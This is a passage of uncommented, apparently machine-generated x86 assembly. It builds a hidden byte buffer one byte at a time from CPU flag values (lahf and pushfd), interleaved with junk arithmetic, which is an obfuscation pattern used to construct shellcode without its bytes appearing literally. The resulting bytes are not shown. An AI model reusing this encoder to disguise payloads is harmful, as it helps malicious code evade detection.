sub ebx, ecx
mov eax, 0x6a043c56
aaa
mov ecx, 0x2fd2a41b
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x80854abc
sub edx, 0x6eda6d49
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x522c676f
rol ebx, 1
mov ecx, 0x90fba88d
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x98e26c69
mov ecx, 0x6dad48ca
ror ebx, cl
mov eax, 0x9e5cc001
rol eax, 1
mov eax, 0x32e14e73
aas
mov ebx, 0x71de49e9
mov ecx, 0x5d191e86
rol ebx, cl
mov ecx, 0x28dbb8ef
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xe8eafc4
inc ecx
mov ebx, 0x373edf97
mov ecx, 0x5bf992a4
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc84daef9
mov ecx, 0x5be4a587
shl ebx, cl
mov edx, 0x5c5a52f8
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5ebd001a
mov ecx, 0x8614686b
ror edx, cl
mov ecx, 0xa2d60aef
inc ecx
mov ebx, 0x93f3e926
mov ecx, 0x1662371b
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xece6be8
neg ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbbf52e6e
sub edx, 0xdd8a16e8
mov eax, 0x48565eff
aas
mov ebx, 0x7dc44e80
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x63cf258a
mov ecx, 0xc2e6847
ror ebx, cl
mov eax, 0x89e1b089
mov ecx, 0x9748b5e5
ror eax, cl
mov eax, 0xa0b49971
shl eax, 1
mov ebx, 0x62959e52
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x1b056492
sal ebx, 0x86
mov ecx, 0x89143353
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x8c5fd1e4
mov ecx, 0x3cfe5b25
ror edx, cl
mov ebx, 0x782d6b18
inc ebx
mov ebx, 0xe1ae5798
mov ecx, 0x6a29bdb1
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x21744591
inc eax
mov ebx, 0x2f99f89c
mov ecx, 0xe0e01558
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x910d4bf9
mov ebx, 0xe8c2e082
add eax, ebx
mov edx, 0x39ce0d3d
sub edx, 0x90ef4e02
mov ebx, 0x1c8ccd7d
dec ebx
mov ebx, 0x75786025
mov ecx, 0x26dbc1cc
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc0bcfdc6
mov ecx, 0x44af9eaa
rol edx, cl
mov eax, 0x63c13677
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1eb0004f
mov ebx, 0xe129a929
sub ecx, ebx
mov ebx, 0xa0357865
mov ecx, 0x826cd2ed
rol ebx, cl
mov ebx, 0x2646bcde
shl ebx, 1
mov ebx, 0x82ad90bd
mov ecx, 0x3c45336
rol ebx, cl
mov ecx, 0x75c5090
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x6d602df3
dec ecx
mov edx, 0xff8c7711
mov ecx, 0xfcbf5052
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xdb8d8bf5
mov ecx, 0xb424a3e6
rol ebx, cl
mov ebx, 0x63bc83da
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x49a71a33
mov ecx, 0x266e2ff
rol eax, cl
mov eax, 0xc69f790d
mov ecx, 0xf83ebf21
rol eax, cl
mov edx, 0x86572699
add edx, 0xe5443496
mov eax, 0x11b0c7bf
aas
mov eax, 0x841aa870
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x657d1b16
mov ecx, 0x6fd4c8cc
ror ebx, cl
mov edx, 0x4e1ff5d1
rol edx, 1
mov eax, 0xe21751e8
rol eax, 1
mov ecx, 0x88b37d8f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xcb0b7aeb
sal eax, 1
mov eax, 0x109473e0
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xb1df3211
rol eax, 1
mov eax, 0xe771216b
mov ecx, 0xb1188827
rol eax, cl
mov eax, 0x2a5cf242
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x8c63b128
inc eax
mov edx, 0x8bbf0c0d
mov ecx, 0x1ddebc1f
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xab672cb
mov ecx, 0xf2519aed
rol ebx, cl
mov eax, 0x9a89bacb
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xd59f573b
cmp edx, 0x96ecf78a
mov eax, 0x35d8f900
aas
mov ebx, 0x2b6d96b4
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x931c96d7
rol eax, 1
mov ebx, 0xb6c63cdb
rol ebx, 1
mov edx, 0xfacb0a7
mov ebx, 0x4475e8f0
add edx, ebx
mov eax, 0xff3ba5e
aaa
mov eax, 0xc2ca3d3c
sal eax, 1
mov edx, 0xd6ff41ff
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x42f6632c
inc ebx
mov edx, 0x9882a751
mov ecx, 0x27cdf89a
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x9e3de851
mov edx, 0x2632a925
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x498a5e57
inc edx
mov eax, 0x7fe2118f
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x293a351d
mov ecx, 0x28656cbb
rol edx, cl
mov ecx, 0xd360eaf0
neg ecx
mov eax, 0x1abfd464
aas
mov ecx, 0x54eae4b2
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdaf049a0
neg edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x79ab797d
add ecx, 0x18087ac1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x5dd92b61
mov ecx, 0xe0200ad8
rol ebx, cl
mov eax, 0x56021b54
shl eax, 1
mov ecx, 0xa56f3635
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x9514a42b
mov ecx, 0xd36716f6
rol edx, cl
mov eax, 0xc85f8e00
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x645794c5
sal eax, 1
mov ebx, 0x11472892
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xb993a15
inc eax
mov edx, 0xc855a621
mov ecx, 0xb70c561e
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3a1af1d8
sal eax, 1
mov ecx, 0xe5ce1009
mov edx, 0xccefe38f
sub ecx, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x8008f22
cmp ecx, 0x98397fed
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x7ae24e61
mov eax, 0x5e737fbe
sub ebx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xc61d88af
mov ecx, 0x6ef465a2
sal edx, cl
mov ecx, 0x11b70a0a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x108e2c81
inc ebx
mov eax, 0xa79a3981
mov ecx, 0x2445fbc3
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf39fa36b
dec ebx
mov ebx, 0xcdf0ab69
mov ecx, 0x3633afb1
ror ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xfb4ea980
dec eax
mov edx, 0x7e5a7c75
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x8bd6b92
mov ecx, 0x981481af
rol eax, cl
mov eax, 0xeab0ca16
sub eax, 0xbd293b63
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9a0cb02d
mov ecx, 0x713fd58a
sar edx, cl
mov ebx, 0x636e424
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x184ba639
mov ecx, 0x622800b8
sub edx, ecx
mov edx, 0x35cd17f9
dec edx
mov eax, 0x880bbc65
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xed83de34
rol eax, 1
mov ebx, 0xa568225
inc ebx
mov eax, 0x935ccbe0
mov ecx, 0x3dcf98d3
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x17c73fe3
mov ecx, 0xb506d8b2
ror eax, cl
mov eax, 0x38bf4ae5
mov ecx, 0x5ede8805
rol eax, cl
mov ebx, 0x89a16b58
rol ebx, 1
mov eax, 0x982119f
mov ecx, 0xbccda8e2
shl eax, cl
mov ebx, 0xc9de0714
sar ebx, 0x68
mov ebx, 0x1f1c3944
mov ecx, 0xa08fa022
ror ebx, cl
mov eax, 0xb36827fa
sub eax, 0x438192d8
mov ebx, 0x3f9184f0
dec ebx
mov ebx, 0x43cd2548
mov ecx, 0x95649d5c
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xdbcfac20
mov ecx, 0xd95cde10
add edx, ecx
mov eax, 0xcb061970
aas
mov eax, 0x4c19f9f2
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1b65a88
add eax, 0x5eb78532
mov eax, 0x2f530604
aas
mov ecx, 0x6d89a891
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x40f266ce
cmp edx, 0x93434ac7
mov eax, 0x209f8d46
aaa
mov edx, 0xe031160e
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd33351e3
aas
mov eax, 0x6f8fa97e
aas
mov ebx, 0x64086e1a
mov ecx, 0x75ab607c
rol ebx, cl
mov ebx, 0x205260a9
mov eax, 0xef238147
cmp ebx, eax
mov eax, 0xc34f8875
mov ecx, 0x39ae834e
rol eax, cl
mov edx, 0x9e6ea1a
mov eax, 0x7b27a9fe
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x804cfbc
mov ecx, 0x7c170fe6
sal eax, cl
mov ebx, 0x8924643a
mov ecx, 0xcdb7d677
rol ebx, cl
mov edx, 0xed808db4
sar edx, 0x5d
mov eax, 0x520ec4fa
mov ecx, 0xe009ccaa
ror eax, cl
mov edx, 0x567d4a2e
mov ecx, 0x197255c3
sub edx, ecx
mov eax, 0x57ef25b6
sal eax, 1
mov eax, 0x178c2ae9
mov edx, 0xded50cb3
add eax, edx
mov eax, 0x3c6c1e0
mov ecx, 0xe5a1eb65
ror eax, cl
mov ebx, 0x8fae17b3
sal ebx, 0xf2
mov eax, 0x2b47ead0
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd70934c6
cmp ebx, 0x7d0ea824
mov edx, 0xaff785f4
sal edx, 7
mov ebx, 0xe7ce2ca4
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8156b38e
sal eax, 0x90
mov ebx, 0x652e4664
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3bf6fd2
rol edx, 1
mov edx, 0xf2484c3
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x5aaf02d9
mov ecx, 0x128edcee
ror ebx, cl
mov ebx, 0xe566808d
mov ecx, 0xc9c190bd
rol ebx, cl
mov eax, 0x3b3e7d4a
rol eax, 1
mov eax, 0x7416e3d0
rol eax, 1
mov eax, 0x7ff0143b
mov ecx, 0x70332ad2
ror eax, cl
mov ebx, 0x1cfa6ab9
rol ebx, 1
mov edx, 0x1ddb672
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x134cf743
rol eax, 1
mov ecx, 0x4134324
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xff684bf9
mov ebx, 0x9f8177b3
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7c758fa9
sal ebx, 1
mov eax, 0x26d6a0a3
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa80edbda
cmp ebx, 0x22fc422
mov eax, 0x82798fa
aaa
mov ebx, 0xbc9cd5ef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaed2ea77
mov ecx, 0x655decec
rol edx, cl
mov eax, 0x462a011e
mov ecx, 0xe315f82b
rol eax, cl
mov eax, 0x7b48d36d
aas
mov eax, 0x1b9b9760
mov edx, 0x2b387137
add eax, edx
mov eax, 0xa34d222f
aaa
mov eax, 0xe50d435f
sar eax, 0xf4
mov edx, 0x612aebee
mov ecx, 0x8a15280f
sar edx, cl
mov ecx, 0xb6f5018f
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x885c3f6b
mov ecx, 0xe6cfca8c
ror edx, cl
mov ecx, 0x2e4323af
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa16c13b
dec edx
mov eax, 0xb1a2a5d5
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x30ab96d1
mov ecx, 0xd2faaa3f
rol eax, cl
mov eax, 0x7860073
mov ebx, 0x384714e9
add eax, ebx
mov ecx, 0x29c5a7a
mov edx, 0xd4a55366
add ecx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x24d2462b
dec edx
mov ebx, 0x4acc6611
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x27648b9c
inc ecx
mov eax, 0x19c9ced8
mov ecx, 0x55d077a6
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7432c285
mov ebx, 0xe5830ce5
add edx, ebx
mov ebx, 0xafcb7d89
rol ebx, 1
mov ebx, 0x15fd0b3d
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x15498f9e
mov ecx, 0xf500321
rol edx, cl
mov edx, 0x7868e8c7
mov ecx, 0x9f8ba1d9
ror edx, cl
mov edx, 0x75035c24
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xe1829ed2
cmp edx, 0xd0934d0b
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x40e7c554
mov edx, 0x34948a50
cmp ebx, edx
mov eax, 0xbe397ea4
aas
mov ecx, 0x48e20169
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x21de2740
add ecx, 0x3fbfd054
mov eax, 0x18db8817
aas
mov eax, 0x1b24a4e4
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x96afd662
mov ecx, 0xbe8ea826
ror ebx, cl
mov eax, 0x11668cb0
rol eax, 1
mov eax, 0xa569464e
mov ecx, 0x4bf01237
shl eax, cl
mov eax, 0x1fee714
aas
mov eax, 0xc6f1724c
rol eax, 1
mov ecx, 0x7bc39231
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa2a50b8a
sal ebx, 1
mov edx, 0x8d8ad122
rol edx, 1
mov ebx, 0x2dcbb76a
mov ecx, 0x109aa318
rol ebx, cl
mov edx, 0xd44ab265
shl edx, 0xfe
mov eax, 0x1d8bef68
aas
mov eax, 0x15bdf4e2
mov ecx, 0xb9148f33
rol eax, cl
mov ebx, 0x16ac4345
mov ecx, 0x7c5f3cd5
ror ebx, cl
mov eax, 0x3d6bf1eb
mov edx, 0xf0c859a1
cmp eax, edx
mov eax, 0xeee3714f
aaa
mov ebx, 0xbab36093
mov ecx, 0xa022087d
rol ebx, cl
mov ebx, 0x89a5e116
mov ecx, 0x6b9c58f3
rol ebx, cl
mov ebx, 0xe9ceccef
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xc48dc801
sal eax, 1
mov ebx, 0x53f2f8f0
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x81848407
sal eax, 1
mov ecx, 0x31f0153d
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7995a35e
mov ecx, 0x654c8d06
sal ebx, cl
mov ebx, 0x3cae7b50
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xfc6194f0
mov ecx, 0x43c88751
ror ebx, cl
mov edx, 0x9b224bb8
mov ecx, 0x10ed0a47
ror edx, cl
mov ecx, 0xcd154f45
mov ebx, 0xe82af872
add ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xed9337ce
mov ecx, 0x52824e6c
ror eax, cl
mov eax, 0x14ce9391
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x950132e7
rol edx, 1
mov eax, 0x79f50b23
mov edx, 0xc38a15c1
cmp eax, edx
mov eax, 0xfed7639e
aas
mov eax, 0xc8302470
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x16d5b799
mov ecx, 0xceea8ee1
cmp eax, ecx
mov eax, 0xb4b78ad4
aaa
mov ecx, 0x5142c179
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x5bc60390
dec ecx
mov eax, 0x2523fa66
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x70773c29
sal ebx, 1
mov edx, 0x10020903
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xbd12939b
mov eax, 0x2ce31ad7
cmp ecx, eax
mov eax, 0x210c9353
aaa
mov ebx, 0x555bffeb
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x14d30e5d
mov ecx, 0x8ec24fc9
ror eax, cl
mov ebx, 0x9fd475dc
mov ecx, 0xd57dd99a
cmp ebx, ecx
mov eax, 0x156c93cc
aas
mov edx, 0x387ef320
neg edx
mov eax, 0xa0f5cbce
aaa
mov edx, 0x98f4f48f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x128cc081
mov ecx, 0x7bbffa96
rol ebx, cl
mov eax, 0xd28d56b6
mov ecx, 0x272443c5
ror eax, cl
mov ebx, 0x919087bf
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x49866159
mov ecx, 0xaa611105
sal ebx, cl
mov eax, 0x9122d392
rol eax, 1
mov edx, 0x237ef4fa
cmp edx, 0xb0dff6c5
mov eax, 0x7bfbc37e
aas
mov ebx, 0x1bf4b3af
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xabf0cad
rol edx, 1
mov ebx, 0x92b7e3ab
mov ecx, 0x85b67715
rol ebx, cl
mov ebx, 0x21af3c04
dec ebx
mov eax, 0x58c1b8fa
mov ecx, 0xd5a8582e
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x4ba1e6ef
sub edx, 0x71c69c74
mov eax, 0xe452bd35
aas
mov ecx, 0xcdd97dd4
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc338b37f
mov ecx, 0x139b398c
rol edx, cl
mov ebx, 0x956fb10a
mov ecx, 0x804ebc08
ror ebx, cl
mov ecx, 0x31bdbb87
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4705fff
sal ebx, 1
mov ecx, 0x645d5f3c
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x531b1232
dec ecx
mov eax, 0xdac9a440
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2ae28fe1
shl eax, 1
mov ebx, 0x71a9ad0f
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x579ac9df
inc ecx
mov ebx, 0x5366444b
mov ecx, 0x2fc12c74
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x15f9064e
rol ebx, 1
mov eax, 0x1abb8a86
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x2633c21f
rol eax, 1
mov eax, 0x4d9d0fa
shl eax, 1
mov ebx, 0x15959a7d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xab4ed093
add edx, 0xe46f1965
mov eax, 0xf267ca0f
aaa
mov edx, 0xbdf323ff
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xe1ba5190
neg edx
mov eax, 0x5861f00a
aas
mov edx, 0xf36e609f
inc edx
mov eax, 0xd87a935b
mov ecx, 0xca54b96
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdfb8eac6
rol ebx, 1
mov ecx, 0x69930830
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x70b70cf2
sar ebx, 0xd5
mov ebx, 0x329a87eb
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x543eebdc
mov ecx, 0xccf9d087
rol edx, cl
mov ecx, 0xc18f3d7f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xfc02a7e4
sub eax, 0x1913acd4
lahf
mov byte [edi], ah
inc edi
mov eax, 0x10687d26
dec eax
mov eax, 0x69b23d18
mov ecx, 0xbfbd5dc1
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5fd6cda0
mov ecx, 0xe7f18a5c
ror eax, cl
mov edx, 0x187265a8
mov ecx, 0xf17d0c9b
sal edx, cl
mov ecx, 0xf6daebcd
cmp ecx, 0xb70b6e84
mov eax, 0xe33db9dd
aas
mov edx, 0xee8d4df0
mov ecx, 0x33246166
ror edx, cl
mov edx, 0xc449eece
shl edx, 1
mov eax, 0xb20d2a43
mov ecx, 0xd4a48f03
shl eax, cl
mov ebx, 0xd3b327bf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8e7a6c1e
mov ecx, 0xdaa51379
rol eax, cl
mov ecx, 0x72d2007c
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd01b6f7a
mov eax, 0x5b8b295
add ecx, eax
mov edx, 0x27f48165
mov ecx, 0x65c79c61
rol edx, cl
mov edx, 0xdfb2f67a
mov ecx, 0x4dbd29ec
ror edx, cl
mov eax, 0x27e5ee53
mov ecx, 0x9adc1362
sal eax, cl
mov edx, 0x17a46830
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x7cc57d56
rol eax, 1
mov edx, 0x6b27a7f1
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xfe95cd5
mov ecx, 0xd0704f82
sal edx, cl
mov ecx, 0x3d88813c
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe9f6f2a2
shl edx, 1
mov ebx, 0x87d78500
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9acf861e
mov ecx, 0xbf2e503d
rol eax, cl
mov ebx, 0xf4a80210
dec ebx
mov eax, 0x2bf24022
mov ecx, 0x22fd662c
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb4b532b1
mov ecx, 0x18ecfa43
rol ebx, cl
mov edx, 0x94bd37bb
sal edx, 1
mov ebx, 0x2ffe210f
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xff5700fb
mov ebx, 0x6a44c762
cmp eax, ebx
mov edx, 0xa71f3822
rol edx, 1
mov eax, 0x14cae462
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2a82a9c0
dec ecx
mov eax, 0xa2fcda32
mov ecx, 0x47ef9e2b
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x47a6f753
dec edx
mov edx, 0x5983da0f
mov ecx, 0x3832955c
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xdd5328b0
neg ebx
mov eax, 0x978ee020
aas
mov eax, 0x62c18ad9
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5c840ba1
add edx, 0xcc6d2ffc
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xe3abc11f
mov ecx, 0x71faf49d
rol eax, cl
mov ebx, 0xaadd0876
mov eax, 0x46520684
cmp ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe911fa73
mov ecx, 0x35386e6e
rol ebx, cl
mov ecx, 0x3881c390
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x5080a085
mov ecx, 0xe903de75
rol edx, cl
mov eax, 0x757bc4e1
dec eax
mov edx, 0x514fde5c
mov ecx, 0x3faea99e
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x24e33354
add ecx, 0xee0a8a3
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xff3d891a
mov ecx, 0x73328071
cmp ebx, ecx
mov eax, 0x19dfe98b
aaa
mov edx, 0xfe450453
shl edx, 1
mov edx, 0xb0fdd300
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xdeec6a73
rol edx, 1
mov edx, 0x6ba25a87
mov eax, 0x60332fc0
sub edx, eax
mov eax, 0xccfa582e
aas
mov eax, 0x840a776d
rol eax, 1
mov ebx, 0xdd57882f
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x463deb20
mov ecx, 0x5b94d8c2
sal edx, cl
mov edx, 0x7c56e01f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc02efeb9
rol ebx, 1
mov ebx, 0x21c7dff8
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x90de8cac
mov ecx, 0x9819f9f6
rol ebx, cl
mov eax, 0xb9894840
sar eax, 0x52
mov eax, 0x83aaaebe
mov ecx, 0xa6950258
rol eax, cl
mov eax, 0x62e3160b
sar eax, 0xc7
mov ecx, 0x9496db30
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xf9c8ed1
mov ecx, 0x30f8e03
rol ebx, cl
mov edx, 0xb634f055
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xcdffef30
mov ecx, 0x11e1719
rol eax, cl
mov eax, 0x7df72bfc
mov ecx, 0x15f6c836
rol eax, cl
mov edx, 0x8bfc32c4
mov ecx, 0x34efe19f
rol edx, cl
mov eax, 0x310b3cd4
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x79b7aedc
rol ebx, 1
mov edx, 0xcc45d28c
sal edx, 1
mov ecx, 0xba16c34f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x157f4561
mov ebx, 0x94cfe1d
add edx, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8e493bd0
mov ecx, 0xcc50b91d
ror eax, cl
mov edx, 0x1755f902
sal edx, 1
mov edx, 0x4910eb20
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5cff75b8
inc ebx
mov eax, 0x39910230
mov ecx, 0x77b8861f
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x73a64639
mov ecx, 0x1e70017
sub edx, ecx
mov eax, 0x300caf6
aaa
mov eax, 0x517ef691
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xfde286de
inc ecx
mov edx, 0x162e7a73
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xbd062dfb
mov ecx, 0xbbe164a3
rol ebx, cl
mov edx, 0xa392c906
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x37bcff48
add edx, 0x33458a23
mov eax, 0xbec1d2c8
aaa
mov ecx, 0xc254bf45
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x8f8b668d
mov ecx, 0xe15a5a88
sar eax, cl
mov edx, 0x41b205c2
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x491bb50d
inc eax
mov ebx, 0x5bf7442d
mov ecx, 0xabf69d47
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x43cedf84
mov ecx, 0x80c919c2
rol eax, cl
mov ebx, 0x3c7e7b6f
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x21d7ed98
dec eax
mov edx, 0x473c353
mov ecx, 0xf8e26268
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc23a868c
mov ecx, 0x85659035
rol eax, cl
mov ebx, 0x8dbb33f
inc ebx
mov eax, 0x57b7d21b
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5c43e73b
shl eax, 1
mov ecx, 0x799f17ad
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5016666a
rol edx, 1
mov edx, 0x7bf075a6
inc edx
mov eax, 0x671c458f
mov ecx, 0x88f9cee
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x36f1b876
rol ebx, 1
mov ebx, 0x96aec0ed
sub ebx, 0x5c4f41a6
mov eax, 0x8647bf2b
aas
mov eax, 0xddc7754e
sal eax, 1
mov eax, 0xf66da0f0
mov ecx, 0xee841883
ror eax, cl
mov edx, 0x862551ef
shl edx, 1
mov edx, 0xb2dc58b3
sal edx, 0x89
mov edx, 0x6a9428e0
neg edx
mov eax, 0x127e5bcf
aas
mov ecx, 0x5365214f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc48ed6ed
mov ecx, 0x24af08f4
sub ebx, ecx
mov ebx, 0xaaa6145
rol ebx, 1
mov ebx, 0x2e130b80
mov ecx, 0x45022610
ror ebx, cl
mov edx, 0x4699d6e7
mov ecx, 0xf3e05615
ror edx, cl
mov ebx, 0xcc2f2df0
